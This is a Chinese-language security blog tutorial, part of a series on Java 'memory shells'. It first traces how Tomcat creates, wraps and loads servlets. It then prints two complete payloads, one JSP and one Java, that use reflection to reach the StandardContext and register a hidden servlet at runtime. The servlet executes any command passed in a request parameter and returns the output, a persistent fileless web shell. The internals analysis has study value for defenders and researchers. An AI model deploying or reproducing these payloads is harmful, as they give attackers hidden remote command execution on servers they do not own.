java内存马_5
前言
前面已经讲了三大件的其中两个:filter和listener,接下来也就是今天的内容servlet类型的内存马.
Servlet创建
这个创建就不想之前讲的这么详细了(三种创建方法),我们单拿一个方法解释一下,我也凑凑字数.
一个小demo(之前写过的):
1 | import javax.servlet.*; |
看一下执行情况
第一次访问/demo1,会调用到init方法,和service方法,然后每次访问/demo1,都会调用到service方法.
我们把命令执行的语句写到service里.
1 | import org.apache.catalina.connector.Request; |

流程分析
获取到http请求
可以先在init打个断点,来看看初始化的流程,在分析.
我们从获取http请求开始分析,这里定位到Http11Processor这个类的service方法.
这个类的主要作用就是实现http协议的实现和封装.说明白点就是把接收到的字节流翻译成tomcat能够看懂的request对象和response对象.而service方法主要是对数据包的请求头做一些处理(解析).
执行到getAdapter().service(request, response);传入request参数和response方法,步入service方法,我们进入到了CoyoteAdapter这个类
接下来就是一系列的赋值,我们快进到connector对方法的调用
1 | connector.getService().getContainer().getPipeline().getFirst().invoke(request,response); |

先看connector的值
这里装了一整个http数据包
然后我们逐一分析一下具体的方法调用
返回了StandardService,它关联着engine
果不其然,这里返回了StandardEngine.
接着调用getPipeline,返回了一个Pipeline,进入了一个通道里.
最后得getFirst返回的是StandardEngineValue,这个对象最后调用了invoke,这里就开始有点眼熟了吧.还是把那张图放一下.
紧接着就没有必要分析了,也就是对invoke的一系列调用,和当时分析filter时是一样的.
读取配置信息
获取配置其实和listener很像.我们从ContextConfig的webconfig开始
在这里获取到web.xml,接着就是调用到configureContext
步入之后,一系列的添加,添加filters filtermap ApplicationListener等,最后我们可以看到对sevlet的获取.
StandardWrapper的创建与装载
为什么要讲一下StandardWrapper呢,主要是因为在初始化的时候最后是从StandardWrapper中调用到了init,Wrapper是最里层的东西.
既然是最里层,那么外层是Context,在外层就是host,这里我们从host开始分析.
断点就在这里,在StandarHost类里将StandardContext作为child添加,在这个过程里具体干了什么呢?
我们跟进是调用了父类的addchild方法
这里先是一个全局服务是否开启的一个判断,然后调用了addChildInternal方法
继续跟进
开启Context,继续跟进start
在这里跟进StartInternal方法.
继续跟进
接着步入
调用到configureStart这个方法之后,就进入到Contextconfig的configureStart方法
在这里会调用到webCondig方法,然后就不用我多说了,接下来就是上一小节的内容,我们直接跳过了.
一直到
这里创建了wrapper,设置了name,runas,class
这里就是将servlet装进了wrapper,然后继续向下
这里是就是将wrapper作为child装进context,同时我们从wrapper的值也可以看到这里wrapper里是有servlet的.里面的具体逻辑我们就不分析了.
继续向下
一直到这里,调用了addServletMappingDecoded方法,和map有关,这里就是将servlet和url做了一个关系映射.
总结:将wrapper作为children装进了context里,同时这里的children,也就是wrapper,这里是存在servlet的
Servlet的加载
接着我们来看一下加载,过掉fireLifecycleEvent方法,继续向下调.
中间的赋值什么的,都不重要,重点关注load
也就是这里,我们步入分析一下
这里对loadOnStartup做判断,对应的是web.xml里的属性<load-on-startup> 当
加载也就这些.整体的流程分析就结束了.
总结
整体来说: 应用没启动之前,先是做个准备,加载children(Context)到host的过程中,会读取web.xml内容,获取servlet,整理到wrapper中,然后在将wrapper作为children装入Context中。
最后做一个加载(使用<load-on-startup>标签)。总之,一个Context中有多个wrapper,一个wrapper中对应一个servlet。
servlet内存马
整体的一个思路就是
- 先获取到StandardContext对象
- 在写好一个恶意的Servlet对象
- 通过StandardContext.createWrapper()创建一个StandardWrapper
- 设置好StandardWrapper对象的loadOnStartup,ServletName,ServletClass值
- 然后将StandardWrapper添加进入到StandardContext对象的children属性中
- 最后添加一下对应的路径映射
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--
Created by IntelliJ IDEA. User: LXu2n Date: 2026/2/22 Time: 19:45 To change this template use File | Settings | File Templates.--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try{
RequestFacade request1 = (RequestFacade) request; Class<? extends RequestFacade> aClass = request1.getClass();
Field declaredField = aClass.getDeclaredField("request");
declaredField.setAccessible(true);
Request request2 = (Request) declaredField.get(request1); Response response1 = request2.getResponse();
StandardContext context = (StandardContext) request2.getContext();
Servlet a = new Servlet(){
public void init(ServletConfig config) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try{
RequestFacade req1 = (RequestFacade) req;
Class<? extends ServletRequest> aClass1 = req.getClass();
Field declaredField1 = aClass1.getDeclaredField("request");
declaredField1.setAccessible(true);
Request request3 = (Request) declaredField1.get(req1); Response response2 = request3.getResponse(); if(request3.getParameter("test11")!=null){
InputStream test11 = Runtime.getRuntime().exec(request3.getParameter("test11")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while((len=test11.read(buffer))!=-1){
response2.getOutputStream().write(buffer,0,len);
} } }catch (Exception e){e.printStackTrace();}
}
public String getServletInfo() {
return "";
}
public void destroy() {
} }; String simpleName = a.getClass().getSimpleName();
Wrapper wrapper = context.createWrapper(); wrapper.setLoadOnStartup(1);
wrapper.setName(simpleName); wrapper.setServlet(a); wrapper.setServletClass(a.getClass().getName());
context.addChild(wrapper); context.addServletMappingDecoded("/demo11",simpleName);
}catch (Exception e){
e.printStackTrace(); }
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
jsp的
然后是java的exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
public class Servletexp implements Servlet {
public void init(ServletConfig config) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try {
RequestFacade req1 = (RequestFacade) req;
Class<? extends RequestFacade> aClass = req1.getClass();
Field declaredField = aClass.getDeclaredField("request");
declaredField.setAccessible(true);
Request request = (Request) declaredField.get(req1);
StandardContext context = (StandardContext) request.getContext();
Servlet a = new Servlet(){
public void init(ServletConfig config) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try{
RequestFacade req2 = (RequestFacade) req;
Class<? extends RequestFacade> aClass1 = req2.getClass();
Field declaredField1 = aClass1.getDeclaredField("request");
declaredField1.setAccessible(true);
Request request1 = (Request) declaredField1.get(req2);
Response response = request1.getResponse();
if(request1.getParameter("test22")!=null){
InputStream test22 = Runtime.getRuntime().exec(request1.getParameter("test22")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = test22.read(buffer)) != -1) {
response.getOutputStream().write(buffer, 0, len);
}
}
}catch(Exception e){
e.printStackTrace();
}
}
public String getServletInfo() {
return "";
}
public void destroy() {
}
};
String simpleName = a.getClass().getSimpleName();
Wrapper wrapper = context.createWrapper();
wrapper.setName(simpleName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(a);
wrapper.setServletClass(a.getClass().getName());
context.addChild(wrapper);
context.addServletMappingDecoded("/demo222", a.getClass().getSimpleName());
}catch (Exception e) {}
}
public String getServletInfo() {
return "";
}
public void destroy() {
}
}
结束
